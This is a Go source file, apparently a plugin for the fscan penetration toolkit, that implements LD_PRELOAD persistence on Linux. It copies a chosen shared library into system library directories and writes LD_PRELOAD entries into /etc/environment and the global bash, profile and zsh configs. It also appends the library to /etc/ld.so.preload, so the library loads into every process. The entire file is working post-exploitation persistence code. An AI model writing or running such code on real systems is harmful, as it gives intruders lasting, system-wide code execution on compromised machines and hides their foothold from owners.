//go:build linux package local import ( "context" "fmt" "os" "os/exec" "path/filepath" "runtime" "strings" "github.com/shadow1ng/fscan/common" ) // LDPreloadPlugin LD_PRELOAD持久化插件 - Linus式简化版本 // // 设计哲学:直接实现,删除过度设计 // - 删除复杂的继承体系 // - 直接实现持久化功能 // - 保持原有功能逻辑 type LDPreloadPlugin struct { name string targetFile string } // NewLDPreloadPlugin 创建LD_PRELOAD持久化插件 func NewLDPreloadPlugin() *LDPreloadPlugin { targetFile := common.PersistenceTargetFile if targetFile == "" { targetFile = "" } return &LDPreloadPlugin{ name: "ldpreload", targetFile: targetFile, } } // GetName 实现Plugin接口 func (p *LDPreloadPlugin) GetName() string { return p.name } // GetPorts 实现Plugin接口 - local插件不需要端口 func (p *LDPreloadPlugin) GetPorts() []int { return []int{} } // Scan 执行LD_PRELOAD持久化 - 直接实现 func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult { var output strings.Builder if runtime.GOOS != "linux" { output.WriteString("LD_PRELOAD持久化只支持Linux平台\n") return &ScanResult{ Success: false, Output: output.String(), Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), } } if p.targetFile == "" { output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n") return &ScanResult{ Success: false, Output: output.String(), Error: fmt.Errorf("未指定目标文件"), } } // 检查目标文件是否存在 if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", p.targetFile)) return &ScanResult{ Success: false, Output: output.String(), Error: err, } } // 检查文件类型 if !p.isValidFile(p.targetFile) { output.WriteString(fmt.Sprintf("目标文件必须是 .so 动态库文件: %s\n", p.targetFile)) return &ScanResult{ Success: false, Output: output.String(), Error: fmt.Errorf("无效文件类型"), } } output.WriteString("=== LD_PRELOAD持久化 ===\n") output.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile)) output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) var results []string var successCount int // 1. 复制文件到系统目录 systemPath, err := p.copyToSystemPath() if err != nil { output.WriteString(fmt.Sprintf("✗ 复制文件到系统目录失败: %v\n", err)) } else { results = append(results, fmt.Sprintf("文件已复制到: %s", systemPath)) output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", systemPath)) successCount++ } // 2. 添加到全局环境变量 err = p.addToEnvironment(systemPath) if err != nil { output.WriteString(fmt.Sprintf("✗ 添加环境变量失败: %v\n", err)) } else { results = append(results, "已添加到 /etc/environment") output.WriteString("✓ 已添加到全局环境变量\n") successCount++ } // 3. 添加到shell配置文件 shellConfigs, err := p.addToShellConfigs(systemPath) if err != nil { output.WriteString(fmt.Sprintf("✗ 添加到shell配置失败: %v\n", err)) } else { results = append(results, fmt.Sprintf("已添加到shell配置: %s", strings.Join(shellConfigs, ", "))) output.WriteString(fmt.Sprintf("✓ 已添加到shell配置: %s\n", strings.Join(shellConfigs, ", "))) successCount++ } // 4. 创建库配置文件 err = p.createLdConfig(systemPath) if err != nil { output.WriteString(fmt.Sprintf("✗ 创建ld配置失败: %v\n", err)) } else { results = append(results, "已创建 /etc/ld.so.preload 配置") output.WriteString("✓ 已创建ld预加载配置\n") successCount++ } // 输出统计 output.WriteString(fmt.Sprintf("\nLD_PRELOAD持久化完成: 成功(%d) 总计(%d)\n", successCount, 4)) if successCount > 0 { common.LogSuccess(fmt.Sprintf("LD_PRELOAD持久化完成: %d个方法成功", successCount)) } return &ScanResult{ Success: successCount > 0, Output: output.String(), Error: nil, } } // copyToSystemPath 复制文件到系统目录 func (p *LDPreloadPlugin) copyToSystemPath() (string, error) { // 选择合适的系统目录 systemDirs := []string{ "/usr/lib/x86_64-linux-gnu", "/usr/lib64", "/usr/lib", "/lib/x86_64-linux-gnu", "/lib64", "/lib", } var targetDir string for _, dir := range systemDirs { if _, err := os.Stat(dir); err == nil { targetDir = dir break } } if targetDir == "" { return "", fmt.Errorf("找不到合适的系统库目录") } // 生成目标路径 basename := filepath.Base(p.targetFile) if !strings.HasPrefix(basename, "lib") { basename = "lib" + basename } if !strings.HasSuffix(basename, ".so") { basename = strings.TrimSuffix(basename, filepath.Ext(basename)) + ".so" } targetPath := filepath.Join(targetDir, basename) // 复制文件 err := p.copyFile(p.targetFile, targetPath) if err != nil { return "", err } // 设置权限 os.Chmod(targetPath, 0755) return targetPath, nil } // copyFile 复制文件 func (p *LDPreloadPlugin) copyFile(src, dst string) error { cmd := exec.Command("cp", src, dst) return cmd.Run() } // addToEnvironment 添加到全局环境变量 func (p *LDPreloadPlugin) addToEnvironment(libPath string) error { envFile := "/etc/environment" // 读取现有内容 content := "" if data, err := os.ReadFile(envFile); err == nil { content = string(data) } // 检查是否已存在 ldPreloadLine := fmt.Sprintf("LD_PRELOAD=\"%s\"", libPath) if strings.Contains(content, libPath) { return nil // 已存在 } // 添加新行 if !strings.HasSuffix(content, "\n") && content != "" { content += "\n" } content += ldPreloadLine + "\n" // 写入文件 return os.WriteFile(envFile, []byte(content), 0644) } // addToShellConfigs 添加到shell配置文件 func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) { configFiles := []string{ "/etc/bash.bashrc", "/etc/profile", "/etc/zsh/zshrc", } ldPreloadLine := fmt.Sprintf("export LD_PRELOAD=\"%s:$LD_PRELOAD\"", libPath) var modified []string for _, configFile := range configFiles { if _, err := os.Stat(configFile); os.IsNotExist(err) { continue } // 读取现有内容 content := "" if data, err := os.ReadFile(configFile); err == nil { content = string(data) } // 检查是否已存在 if strings.Contains(content, libPath) { continue } // 添加新行 if !strings.HasSuffix(content, "\n") && content != "" { content += "\n" } content += ldPreloadLine + "\n" // 写入文件 if err := os.WriteFile(configFile, []byte(content), 0644); err == nil { modified = append(modified, configFile) } } if len(modified) == 0 { return nil, fmt.Errorf("无法修改任何shell配置文件") } return modified, nil } // createLdConfig 创建ld预加载配置 func (p *LDPreloadPlugin) createLdConfig(libPath string) error { configFile := "/etc/ld.so.preload" // 读取现有内容 content := "" if data, err := os.ReadFile(configFile); err == nil { content = string(data) } // 检查是否已存在 if strings.Contains(content, libPath) { return nil } // 添加新行 if !strings.HasSuffix(content, "\n") && content != "" { content += "\n" } content += libPath + "\n" // 写入文件 return os.WriteFile(configFile, []byte(content), 0644) } // isValidFile 检查文件类型 func (p *LDPreloadPlugin) isValidFile(filePath string) bool { ext := strings.ToLower(filepath.Ext(filePath)) // 检查扩展名 if ext == ".so" || ext == ".elf" { return true } // 检查文件内容(ELF魔数) file, err := os.Open(filePath) if err != nil { return false } defer file.Close() header := make([]byte, 4) if n, err := file.Read(header); err != nil || n < 4 { return false } // ELF魔数: 0x7f 0x45 0x4c 0x46 return header[0] == 0x7f && header[1] == 0x45 && header[2] == 0x4c && header[3] == 0x46 } // 注册插件 func init() { RegisterLocalPlugin("ldpreload", func() Plugin { return NewLDPreloadPlugin() }) }